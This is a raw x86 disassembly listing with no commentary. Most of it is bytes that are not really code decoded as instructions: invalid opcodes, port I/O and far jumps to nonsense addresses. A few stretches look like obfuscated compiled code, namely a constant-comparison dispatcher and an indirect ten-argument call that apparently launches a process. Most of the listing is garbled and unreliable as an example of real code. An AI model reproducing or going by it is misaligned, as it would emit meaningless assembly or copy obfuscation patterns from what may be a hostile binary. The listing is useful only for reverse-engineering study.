add eax, 0x568e821d
invalid
xlatb
mov edx, 0x70e98b64
je 0x684c1603
ret 0x53e3
out dx, al
loopne 0x684c209d
pushfd
lahf
xchg dword [ebp + ebx*8 - 0x35051462], edi
sal byte [edi + esi - 0x4df52da7], 1
pop ebp
and dword [ebp + 0x7f2be15a], esi
or eax, 0xfde10348
std
pop eax
inc ebx
mov byte [0xcbfe3508], al
invalid
xchg bh, ch
lahf
stosb byte es:[edi], al
test bh, bl
nop
xchg ebp, eax
sbb ecx, dword cs:[eax - 0x1c]
outsb dx, byte [esi]
xchg ebx, eax
popal
xor edi, dword [ebp + 0x7d]
dec esi
movsb byte es:[edi], byte [esi]
mov bl, 0xe
fild qword [ecx + 0x5ccb09d6]
push es
or eax, 0x54d88760
pop ss
dec ebx
xchg dword [ebx - 9], ebp
xchg ebp, eax
or al, 0x8f
mov eax, dword [0xf872e857]
adc eax, 0x61d73685
fsubr qword [ebx - 0x6916cb3d]
sub dl, byte [edi]
rcr byte [edi - 0x208379db], 0x31
fimul dword [ebx]
xchg esp, eax
retf
push edi
sbb dword [edx + 0x53], ecx
invalid
fisub word [edx + 0x5af0ab14]
invalid
push ss
mov ch, 0
out 0x6e, eax
jmp 0x3682161
clc
popal
punpcklwd mm0, dword [edx]
mov dword [0x917dcbbc], eax
push esp
sar byte [edi], 1
push es
int3
fsub qword [esi]
mov dl, 0x4e
cmpsb byte [esi], byte es:[edi]
ret
pop ebp
pushal
mov al, cl
mov ebx, 0xf99616ca
shl dword [eax + 0xb7a8c82], cl
lahf
cld
xchg ebx, eax
sal byte fs:[eax - 0x810cb2a], 1
or byte [edx + edi*2 - 0x6c0360f5], 0x64
sal byte [eax - 0x810cb2a], 1
out dx, eax
test esp, 0x7aafaa08
and eax, dword [edx + ecx*8 + 0x3834e741]
call 0x3c693f2b
les ecx, [eax]
stosb byte es:[edi], al
scasd eax, dword es:[edi]
jp 0x684c5e5c
test dl, cl
inc ecx
out 0x34, eax
cmp al, ch
out 0xe0, eax
sbb al, 0xd4
fstp qword [eax - 0x56dfdfd4]
adc esp, ebx
jg 0x684c5e80
mov byte [eax], cl
jne 0x684c5e80
push ds
sub eax, 0xd9fe3cf6
fnstsw word [ebx - 0x42]
jnp 0x684c5e19
fimul dword [eax - 0x64]
dec eax
pushfd
jl 0x684c5eb3
jnp 0x684c5e76
add eax, 0xe8bec866
mov fs, ebx
pop esi
loope 0x684c5e31
adc ch, byte cs:[ecx]
xchg dword [ebx], esi
imul ebx, dword [ebx], 0x40
and al, byte [edi - 0x80]
sub ch, 0x6f
in eax, dx
outsd dx, dword [esi]
fild qword [ebx]
aad 0x55
sub esp, ecx
jns 0x684c5eb9
jns 0x684c5eb9
dec ebx
cmp eax, 0x537abd84
movsd dword es:[edi], dword [esi]
jo 0x684c5ea3
jge 0x684c5e25
or bl, byte [edi]
push ebx
clc
stosd dword es:[edi], eax
cmp al, 0xec
jle 0x684c5e59
and ebx, ebp
fisubr dword [ebx + edx*8 + 0x58]
adc al, 0x93
mov bh, 0x29
invalid
jp 0x684c5ea6
stc
fnstsw word [edx - 0x16336f8c]
sub dword [ecx], 0xa30d0000
sub bh, byte [edi + 0xb]
or eax, 0xb7f2aa3
jg 0x684c5ec0
test eax, 0xadd59ed5
lodsd eax, dword [esi]
jp 0x684c5f18
inc ebp
mul edi
pop edx
jge 0x684c5f22
pop edi
insd dword es:[edi], dx
cdq
adc esp, edx
push edx
and dword [ebx - 0x1c], 0x12
clc
arpl sp, sp
adc bh, al
sal esp, cl
jp 0x684c5e77
neg byte [eax + 0x4cde8177]
xchg dword [eax - 0x2f], ebx
invalid
movsd dword es:[edi], dword [esi]
add al, 0xed
iretd
stosd dword es:[edi], eax
loop 0x684c5ef1
mov dl, 0xd1
inc edi
pop edi
sub cl, byte [esi - 0x20]
push esp
cmp eax, 0x34d7b85a
pop edx
daa
hlt
pop edi
xor bl, byte [esi]
outsb dx, byte [esi]
mov eax, dword [esi + 0x4b]
xchg ebp, eax
sbb eax, 0x84938e90
mov ds, word cs:[edi - 0x121b2108]
nop
mov ss, word [ebx - 0x6071d17c]
clc
fsubrp st(4)
in eax, dx
cmp ebx, edi
dec ecx
and byte [esi + 0x4cbe1ed3], 0x6b
jno 0x684c5ecb
dec esp
imul esi, dword [ecx - 0x6f], 0xffffffaa
stosb byte es:[edi], al
inc ebp
js 0x684c5f04
inc eax
push eax
je 0x684c5f36
push edi
invalid
das
loop 0x684c6984
pop edx
pop ebp
shr dh, 1
fidiv dword [ebp - 0x1b6a0a20]
push ss
std
mov esi, 0xb119cd76
pop esp
mov esi, dword [edi + 0x6b]
fist dword [eax + 0x58f2aaf1]
xor dl, byte [edi - 0x20390700]
push ebx
das
jb 0x684c6992
hlt
cmp dl, byte [edx - 0x66]
adc al, 0xc3
dec edx
test dword [eax - 0x7e], esi
push edx
lcall 0x8270, 0x854ac314
jns 0x684c69d3
insb byte es:[edi], dx
sbb al, 0x4c
aas
les edi, [ecx + 0x76]
ret 0xf98d
jnp 0x656c9fb4
or al, 0x84
fucom st(7)
nop
lodsd eax, dword [esi]
jae 0x684c6983
invalid
cmpsd dword [esi], dword es:[edi]
dec ecx
mov al, byte [0x3d637bbf]
fcmovnb st(0), st(1)
xchg edi, eax
imul eax, dword [esp + ecx*2 - 0x1346e95a], 0x1365033f
push ebp
cmc
sti
dec ebp
clc
pop ebp
push edi
les edx, [ecx - 0xb]
in eax, 0xb8
loope 0x684c73eb
pop ds
scasb al, byte es:[edi]
pop ecx
invalid
adc ah, byte [esi + ebp*2]
shr dword [ecx + 0x7a], 4
retf
and dl, byte [eax]
fst qword ds:[edx + 0x63ec0c9]
dec esp
in al, 0x8a
sub ecx, dword [ecx - 0x50]
cld
adc dword [edi - 0x1b], 0xffffff9d
push ecx
push ebp
rcl bh, 1
hlt
nop
jmp 0x684c8831
nop
mov dword [esp + 4], 0x68b05010
lea eax, [ebp - 0xe50]
mov dword [esp], eax
call fcn.68201064
mov dword [ebp - 0x148], 0x63ee8
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x150], 0x27a31
mov dword [ebp - 0x14c], 0
mov eax, dword [ebp - 0x144]
imul eax, dword [ebp - 0x150]
mov edx, eax
mov eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x148]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x148]
mul dword [ebp - 0x150]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x158]
xor eax, 0x78fc9a68
mov edx, dword [ebp - 0x154]
xor edx, 0xf
or eax, edx
je 0x684d715a
mov edx, 0x78fc9a68
mov eax, 0xf
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xf0e28
or eax, dword [ebp - 0x154]
je 0x684cb69d
mov edx, 0xf0e28
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xe9442
or eax, dword [ebp - 0x154]
je 0x684d331d
mov edx, 0xe9442
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xe7529
or eax, dword [ebp - 0x154]
je 0x684cea7d
mov edx, 0xe7529
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xe34a2
or eax, dword [ebp - 0x154]
je 0x684d47dd
mov edx, 0xe34a2
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xd6395
or eax, dword [ebp - 0x154]
je 0x684d66fd
mov edx, 0xd6395
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xc00c4
or eax, dword [ebp - 0x154]
je 0x684ca1dd
mov edx, 0xc00c4
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xb3cdc
or eax, dword [ebp - 0x154]
je 0x684cc0fd
mov edx, 0xb3cdc
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xae3d7
or eax, dword [ebp - 0x154]
je 0x684d099d
mov edx, 0xae3d7
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xa4ddf
or eax, dword [ebp - 0x154]
je 0x684d13fd
mov edx, 0xa4ddf
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x9ee2c
or eax, dword [ebp - 0x154]
je 0x684ccb5d
mov edx, 0x9ee2c
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x8c6bc
or eax, dword [ebp - 0x154]
je 0x684d5c9d
mov edx, 0x8c6bc
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x86867
or eax, dword [ebp - 0x154]
je 0x684c977d
mov edx, 0x86867
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x83b95
or eax, dword [ebp - 0x154]
je 0x684d28bd
mov edx, 0x83b95
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x7ffe9
or eax, dword [ebp - 0x154]
je 0x684cff3d
mov edx, 0x7ffe9
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x61072
or eax, dword [ebp - 0x154]
je 0x684d523d
mov edx, 0x61072
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x5e3d2
or eax, dword [ebp - 0x154]
je 0x684cac3d
mov edx, 0x5e3d2
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x59a63
or eax, dword [ebp - 0x154]
je 0x684d3d7d
mov edx, 0x59a63
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x47dc8
or eax, dword [ebp - 0x154]
je 0x684c8d1d
mov edx, 0x47dc8
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x3fe71
or eax, dword [ebp - 0x154]
je 0x684cd5bd
mov edx, 0x3fe71
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0x305a2
or eax, dword [ebp - 0x154]
je 0x684ce01d
mov edx, 0x305a2
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x684d715d
mov eax, dword [ebp - 0x158]
xor eax, 0xa31b
or eax, dword [ebp - 0x154]
je 0x684d1e5d
mov dword [0x850b0000], eax
lodsb al, byte [esi]
invalid
mov eax, dword [ebp - 0x158]
xor eax, 0x15100
or eax, dword [ebp - 0x154]
je 0x684cf4dd
jmp 0x684d715d
xor esi, eax
sub ebx, dword [0xe91da8b]
xor eax, 0xaf901dcc
pop es
aaa
pop ds
sbb cl, ah
mov esi, dword [ebp - 0x75]
leave
sub esp, dword [esi - 0x16]
xchg ebp, eax
or bh, 0xa7
bound esi, qword [ebx - 0x68cd687e]
push esp
je 0x684c8cf2
xchg byte [eax - 0x4964c428], dh
cmp ebx, dword [edx + ebx]
mov dh, 0x3b
sbb al, 0x1a
outsd dx, dword [esi]
dec ebp
movsb byte es:[edi], byte [esi]
loope 0x684c8d48
sub al, 0xb0
fstp xword [ecx + ebx + 0x6b]
invalid
xor al, 0x6e
out 0x87, al
out 0x9c, al
dec ebp
invalid
sbb eax, 0x785baaec
mov al, byte [0xf06d82b9]
xchg ecx, eax
push ss
sbb dh, byte [edx]
push esi
mov dword [0x7b673bf2], eax
into
pop es
test dword [esi + 0x65c7ca4f], esi
adc byte [ebp - 0x15], cl
sbb eax, dword [edi + 0x61a594e0]
jg 0x684ca1ec
xchg ebx, eax
mov eax, dword [0x5997]
salc
add ebp, esi
lea ebx, [edx + 0x6ed2778f]
or dword [eax], esi
jecxz 0x684ca281
add byte [edx], ah
add bl, 0x84
into
mov al, byte [0x9d33895f]
mov edx, 0x715ee858
push ebx
sbb ah, cl
cmp al, 0x8f
jecxz 0x684ca25d
dec esp
mov ch, 0x68
dec edx
lodsb al, byte [esi]
inc ebx
xor eax, 0xd62c4ef7
insd dword es:[edi], dx
popfd
in al, 0x93
pop ss
inc edi
sar dword [eax], 0xa4
push es
invalid
push ebp
cmp eax, 0xa547c5a3
mov esp, esp
inc esp
jge 0x684ca2a1
sub byte [ebx], ah
outsb dx, byte [esi]
pushfd
inc eax
and cl, bl
mov ecx, 0xc4b7ade1
cmpsb byte [esi], byte es:[edi]
and al, 0x7d
rcr ah, 0x8c
and al, byte [edi - 6]
call 0xa3669855
sbb dword [ebx], edi
popal
and byte [edi], bl
pushal
mov eax, 0xfe7fa7ec
adc dword [edi - 2], ebx
ja 0x684ca2b2
out dx, al
adc dh, byte es:[edx - 0x3aa97cd]
xor eax, 0x9f31a73e
cmp ah, ch
pop ds
js 0x684ca30c
mov dh, 0x1e
sub eax, dword [ebx + 0x57148645]
dec edi
aaa
push 0xffffffffffffff8d
stosd dword es:[edi], eax
clc
aas
mov ecx, 0x195fb779
fnstsw word [ebx + 0x6e]
loope 0x684ca2e4
stosd dword es:[edi], eax
cmp dh, ah
fstp qword [ecx - 0x5e]
or eax, 0x56b685
push ds
sbb dword [edi - 0x647b3370], ebx
aas
sti
cwde
movsd dword es:[edi], dword [esi]
adc eax, 0xc3ab14a
insd dword es:[edi], dx
push ebx
xchg esp, eax
aad 0xe2
test dword [ecx + ecx*8], esi
jge 0x684ca313
wait
lea esp, [eax + 0x53]
push ebx
mov ebp, 0x30686ed1
leave
push ecx
mov ah, 0xac
sub al, 0x98
mov gs, word [eax + 0x64]
xor esi, dword [ebx]
mov dl, 0xdd
xor eax, 0xe7b0ccf3
sub bh, 0x10
xchg ebx, eax
cli
sbb dword [ecx], edi
add eax, 0xb1eb8f47
shl dword [edi], 1
mov cl, 0xd1
daa
out dx, al
wait
push eax
scasd eax, dword es:[edi]
scasd eax, dword es:[edi]
loope 0x684ca377
imul edi, dword [eax], 0x37
stc
adc al, 0x30
loopne 0x684ca353
push edi
sahf
jne 0x684ca3a0
dec ebp
or esi, esi
dec edi
mov byte [0xbf13bbc1], cl
sub eax, 0x1e655fc4
mov al, byte [0x28c62dd9]
arpl word [ebx - 0x79259c5c], ax
jp 0x684ca388
mov eax, 0xb4bcf84c
jb 0x684ca2e7
cmp eax, 0x22833261
ret
test dword [edx + 0x2c], 0xb6dffdaf
clc
les ebx, [ebp - 0x7d95b021]
and edi, eax
aad 0x41
xor eax, 0xf9f10a3a
jp 0x684ca3d2
sar word [edx + 4], 0x92
sar dword [edx + 4], 0x92
push 0x12
fidiv dword [eax + 2]
push ebx
mov byte [edi + 0x3abccf83], 0x62
xchg dword [ebx + 0x623abccf], eax
pop esi
ljmp 0x3fd6
push 0x64
xchg byte [ebp + 0x90cbcb0], bl
jecxz 0x684ca3dd
jge 0x684ca36b
cmp byte [eax + 0x20], dh
int3
add al, 0xd5
jae 0x684ca3a1
aad 0x73
std
adc dword [eax - 0x22e1d1cc], ecx
cwde
sal dword [eax + ebx - 0x4a], 1
sub dl, bh
pop esi
inc eax
outsb dx, byte [esi]
invalid
cmpsd dword ss:[esi], dword es:[edi]
sar dword [eax], 0xa9
aad 0x68
pop eax
pop ds
dec ecx
inc esp
aaa
fcomp st(2)
add eax, 0x5230fcd2
jecxz 0x684ca409
inc ebx
mov ah, 0x19
retf
mov ebp, 0xb1bf5a0d
sub dword [edx + edi*4 - 0x56d8d3a9], edi
pop eax
mov eax, dword [0x6c1adcc0]
mov edx, 0x22ba8a15
mov bl, 0xed
pop di
imul esp, dword [edx - 0x2e5f2930], 0x4d8c6d2b
invalid
mov al, 0x3f
sub al, byte [esi + 0x42924ad0]
lahf
or eax, 0x96e34423
xchg edi, ecx
not dword [eax]
iretd
shl dl, 1
aam 0xd1
cld
dec edi
xchg edi, eax
fsub st(6)
sub ebp, dword [eax]
pop ds
pop ebp
xlatb
pop eax
xor dword [edi + ebp*2], ebx
in al, 0x29
sti
inc ecx
cmp al, 0xfa
outsd dx, dword [esi]
push 0x1c
stc
aad 0x1c
add ch, byte [ebp + 0x17bf8384]
pop ss
stc
aaa
xor bl, ah
out 0x91, al
test al, 0x5f
insb byte es:[edi], dx
mov gs, eax
mov al, byte [0x92f773d1]
rcl ebx, cl
xchg esi, eax
jae 0x684cb6c2
hlt
lds edx, [ebp + 0x103872cc]
mov ecx, 0x106c96d7
push cs
and eax, dword [ebp + 0x7b]
cmp ebp, esp
sbb al, 0xd4
invalid
fmul qword [ecx + 0x41]
invalid
out 0xd1, eax
cmp dword [eax + ebp*8 + 0x1528da1d], ebp
push ebx
mov esi, 0x6437c5d
fnstenv [eax - 0x394ab9c1]
pop eax
adc ebp, ecx
loop 0x684cc09b
mov edx, 0x1841b429
add al, 0xf5
out 0xf8, eax
insd dword es:[edi], dx
aam 0xad
xchg esp, eax
aaa
jl 0x684cc0b9
pop edx
add dword [eax], ecx
sub al, 0x11
xor dl, byte [ebp + 0x2170b36e]
cmc
xor dword [ebp - 0x72], 0x72f022c
pop edx
push 0xfffffffffffffff6
ljmp 0xb6e3
push 0x6cd5cf41
cli
lcall 0xbe04, 0x7b0a33a0
retf 0xfce0
ret
imul edx, dword [ebx - 0x2e4b0d1a], 0x12c2d82d
ror byte [edx + 0x25], cl
cdq
inc edi
dec edx
add eax, dword [ebx + 0x23]
fstp xword [ecx - 0xf]
cmc
add ecx, dword [ecx]
jb 0x684cd606
cmpsb byte [esi], byte es:[edi]
mov bh, 0xc3
sbb byte [esi - 0x3da2066c], bl
mov edx, 0x4e07d4f4
dec esi
cli
add byte [edi + 0x64], dh
pop eax
cmp dword [eax], ebx
stc
aad 0x10
aas
lcall 0xc9d1, 0xca01a5e
and dword [edi], esp
jnp 0x684cd547
int3
sub al, 0xe0
xchg edi, eax
push es
adc byte [ebx + eax - 0x7973121c], 0x22
and ecx, dword [di + 0x2812]
cmc
add dword [ecx], ebx
lds edx, [edx - 0x382fe8fa]
out dx, al
push ebx
xor eax, 0x331ffda0
das
add cl, al
pop esi
and al, byte [ebx]
add esi, edi
in al, 0x47
jns 0x684cd577
push ds
or eax, 0xd80f37f6
jo 0x684cd59f
add byte [ecx - 0x6736e546], ah
pop es
adc bl, 0xe7
in al, dx
xchg ebx, eax
xchg dh, bl
jmp 0x2c7df213
pop ds
inc esp
xchg ebx, eax
std
sub dword [esi - 0x7c1736cc], eax
jnp 0x684cd60d
leave
call 0x46485196
lahf
mov bh, 0xb1
insd dword es:[edi], dx
ror byte [esi + edi + 0x26aa6ce0], 0xea
mov al, byte [0xab9e7bd9]
sub dword [ebx + 0x78105958], 0x4d59c6a7
inc eax
into
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
invalid
fstp qword [edi - 0x3f924e49]
invalid
in al, dx
test dword [ecx - 0x72], ebx
ret
fistp word [edi + 0x4571c8f6]
mov bl, 0xa
loop 0x684ce064
out dx, al
mov al, byte [0xa1633a6c]
cld
mov edx, 0x2f1bdf37
lea ecx, [ebx + ecx*8]
jge 0x684ce00d
cdq
call 0x33a9ae5e
pop edi
or dword [ebp + 0x69949cae], esi
out 0x10, eax
adc al, 0xb8
inc ecx
xor cl, 0x4f
les eax, [ecx]
or byte [esi], ch
sub al, 0x6c
int1
ljmp 0x5343
xor cl, al
ret 0x955b
mov edx, 0xeda7d046
das
mov ch, 0xda
xor eax, 0x616a2ff5
pop es
outsb dx, byte [esi]
lahf
retf
scasb al, byte es:[edi]
int1
dec esp
fstp st(5)
mov ecx, 0x6a8248cc
adc dh, byte [edi - 0x4c]
add dword [ecx - 0xc], 0xffffff94
wait
push ss
movsb byte es:[edi], byte [esi]
lds esp, [edi - 0x2e]
imul edx, ebx, 0x65eb7b1e
pop esi
invalid
mov es, ebp
invalid
js 0x684cff5e
pop esp
sal dword ss:[eax - 0x5c], 1
lodsd eax, dword [esi]
mov cl, bl
mov byte [eax - 0x76], ah
fstp st(4)
js 0x684cff21
hlt
xor ebp, dword [ecx]
invalid
sub al, 0xe4
cmp al, byte [ecx - 0x2adcae32]
movsd dword es:[edi], dword [esi]
out dx, al
add ebx, dword [ebx + 0x576b6e03]
cmp al, 0xf0
sub dword [esi], 0x760134a4
pop ss
ja 0x684d0a05
xor eax, 0x7bdd8f7d
pushfd
wait
jne 0x684d0a3a
sub eax, 0x5258ae62
test al, 0xef
cmp eax, 0xb578596
xchg edi, eax
daa
add dword [eax + 0x48], edi
and byte [edi + 0x35], ch
pushal
lea ebp, [edx - 0x7ec64dcf]
jmp 0x60ac16dc
or al, 0x5f
clc
jbe 0x684d0a47
jmp 0xd2ecb3a6
retf
pop ss
and ah, byte [ebx]
aas
sar dword [esi - 0x5a], 0x89
salc
int 0x84
test esi, ebp
movsd dword es:[edi], dword ss:[esi]
sti
push ss
ja 0x684d09de
scasd eax, dword es:[edi]
cmp eax, 0xf5539f8e
cmc
push ebp
mov dword [esi - 0x5f], ecx
sub al, 0x67
test dword [eax], esp
aad 0x9e
inc eax
add dword [edx + esi*4 - 0x61], ecx
scasd eax, dword es:[edi]
adc byte [ecx + ebp*4], al
inc esi
mov ecx, 0x7c393769
xchg esi, eax
invalid
jmp 0x3e1b0752
cdq
and al, 0x86
xor dword [edx], ebx
aad 0xf4
jno 0x684d1e71
mov ch, 0x2a
inc edx
leave
jns 0x684d1eca
xor eax, 0x3870e4b7
push ds
cmp byte [esi], bl
sub ah, al
add eax, 0xfbf80672
ret 0x904d
fadd dword [ebx - 0x7a]
sbb byte [ebp - 0x60], bh
bnd ret 0x40c9
pop es
sbb bl, byte [esi - 0x726bb53d]
inc esp
and edx, dword [esi - 0x78]
jle 0x684d1eed
mov cl, 0x41
clc
mov edi, 0x747eec8b
salc
mov edi, 0x471a489f
test esp, 0xa243beb1
sal dword [ecx + ebx*8 - 0x34], cl
mov byte [0xccd974d3], al
fxch st(4)
ja 0x684d1e7f
inc ebx
salc
lcall 0xc43a, 0xb8e323a2
shr byte [ebx + esi*2], cl
xor ebp, dword es:[ebx + edx*8]
inc esp
xchg esi, eax
pop ebp
std
or dword [ebx + ebx*8], 0xffffffd0
push esp
dec eax
fst dword [ebp + 0x57]
pop esi
loope 0x684d1eea
retf
add byte [ebx + 0x7a], ch
sar dword [ebp + 0x4514028e], cl
into
inc ebp
fmul qword [esi]
mov byte [0x7b35ee07], al
adc eax, dword [edi - 0xa4617e1]
mov bl, 0x92
push ss
mov cl, 0xb3
xchg esp, eax
lahf
lds edi, [ebx - str._ol__f_v]
cli
iretd
cld
inc edi
jmp 0x684d28b6
nop
int3
mov edx, 0x57c4f6fc
outsd dx, dword [esi]
pop eax
inc esp
jb 0x684d286c
mov al, byte [0xfa44871a]
inc esp
cli
lcall 0x36d3, 0x82ee68e
jnp 0x684d2945
pushfd
aas
push ebp
daa
jnp 0x684d28a4
mov word [esi + 0x65c5237a], es
ret
int3
push es
js 0x684d2947
sti
fstp dword [ecx]
loope 0x684d2902
jp 0x684d28ca
dec esp
out 8, al
xchg ebp, eax
pop edx
cdq
xor byte [edi + 0x69108429], bl
test eax, 0xd9732b6d
xor al, 0xcc
pop esp
mov eax, dword [0x87adfd70]
xchg dword [edi - 7], esp
dec ebp
push ds
std
lodsd eax, dword [esi]
xchg dword [edi + 0x1e4df967], eax
xor ebp, dword [eax]
ror edi, 1
mov ebp, 0xe14178bb
in eax, dx
dec edx
and eax, 0x362380f2
stosb byte es:[edi], al
mov dword [0xac657eaa], eax
pushal
cmp byte [0x44198453], dh
push ecx
push cs
pushfd
and byte [edx + esi*2], ah
or al, 0x34
mov ebx, 0xb15d44ce
imul esi, dword [edi + edx*4 - 0x29], 0x75
jg 0x684d2927
stc
hlt
mov esi, 0xcb293875
cmp dword [ecx + 0x71], esi
aaa
aas
dec ebp
sub dl, byte [ebx + 0x356554a2]
and cl, dh
fstp dword [0x77da731e]
sub byte [edi + 0x6c], bl
iretd
invalid
sbb edx, dword [ecx - 0x51]
bound esi, qword [edi]
mov word [edi + 0x66], fs
pop ebp
xchg esi, eax
retf
mov al, 9
cmp byte [eax - 0x116e4137], 0xaf
add eax, 0xbcade145
inc dl
dec esi
push ds
mov es, word [edx + eax + 0x3a75b691]
in al, dx
inc edi
xchg edi, eax
mov bl, 0x49
adc dword [edi - 0x6ded9400], ecx
int3
int 0xba
push ds
cmp eax, 0x8e75805c
sahf
fsub qword [edx]
pop ss
rcl byte [0xc9d263bd], 0x61
jbe 0x684d51d3
dec ebp
mov edi, 0x6015427
sar byte [edi + 0x7e], 0x3b
sub al, byte [ecx - 0x3218a2fd]
sub edx, esp
sbb byte [esi], ah
cmp byte [ebx - 0x6d8896cd], 0x41
sbb dword [edx - 9], ecx
cmp esp, dword [edi - 0x3e3f0c95]
mov ebx, 0x30892b28
push edi
inc esi
add bl, ch
xchg esp, eax
xor eax, 0xf180ec75
lodsd eax, dword [esi]
invalid
sbb byte [eax], dh
xor ah, byte [edx - 0x1b]
fst dword [esi]
scasb al, byte es:[edi]
mov al, byte [0xce6f0ea1]
dec edx
ror byte [ecx + 0x75f72f99], 0x7e
xchg esi, eax
mov cl, 0xe2
int1
mov byte gs:[0xb70d7812], al
invalid
mov edx, 0x69079012
jnp 0x684d5c54
pop es
imul edi, dword [ebx - 0x50], 0x448a4b23
and ecx, dword [ebx - 0x76]
inc esp
xchg ecx, eax
and ah, byte [edx - 0x20383419]
jnp 0x684d5d21
adc ebp, ebx
sub edx, dword [edx]
imul esi, dword [eax], 0xfffffff2
out 0xeb, eax
sub eax, 0x325a77b9
test byte [ebx - 0xb], bh
scasd eax, dword es:[edi]
dec ecx
sbb al, 0x40
xchg ebp, eax
adc al, dl
mov eax, 0x59f73fe0
xor eax, 0xb42db840
xor esp, dword [esi - 0x76286f90]
js 0x684d5ca0
adc byte [eax - 0x13886660], al
sbb dword [ecx + 0x36], esp
salc
mov bh, 0xc
pop ebp
adc dword [edi], 0x5811af52
sub bh, byte [eax - 0x56fd82d9]
adc byte [eax + esi], bl
shl ecx, 0xd7
cdq
fmul dword [eax + 0x4e]
push esp
xchg ebp, eax
xor dh, byte [ecx + 0x65260062]
in eax, 0xe6
ljmp 0x4b2a
pop ecx
out 0xc6, al
daa
imul ebx, dword [edx - 0x27], 0x388c5356
pop edi
mov esi, 0xb86911df
out dx, al
cmp edi, dword [eax + 0x2432e07b]
invalid
dec edx
leave
invalid
jb 0x684d66a0
loope 0x684d672a
fldz
pop edx
pop ds
add al, 0x55
jmp 0x8894c164
jmp 0x684d6753
dec ebx
dec ebp
cmp eax, 0xfa7fec7b
xor byte [ebp + 0x24], dl
mov dword [0x1713983d], eax
stc
cmp eax, 0x38440249
shl dword [esi - 0x70], 1
push eax
push edx
mov byte [ebp - 0x3147e9ee], ch
into
mul dh
lds edi, [ebp + 0x15]
fbld tbyte [edx + 0x63d2766e]
adc dword [ebx], 0xffffffc1
test dword [ebp - 0x7e], 0x57818a6
rol byte [ecx], 0x7e
test dl, al
mov dword [0xd8375a10], eax
mov cl, 4
pop esi
shr dword [ebx - 0x4b59634b], cl
pushfd
adc eax, 0xbca29fb1
inc ecx
pop ebp
sbb edx, dword [edx - 0x6b09ff55]
jo 0x684d6734
mov byte gs:[0x936f4059], al
invalid
nop
jmp 0x684d715e
nop
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe50]
mov dword [esp], eax
call fcn.68201064
mov eax, dword [0x68b07010]
lea edx, [ebp - 0x20c]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x1fc]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea edx, [ebp - 0xe50]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
test eax, eax
jne 0x684dc6df
mov dword [ebp - 0x1a8], 0x7e892
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1b0], 0x82ea6
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1a4]
imul eax, dword [ebp - 0x1b0]
mov edx, eax
mov eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x1a8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1a8]
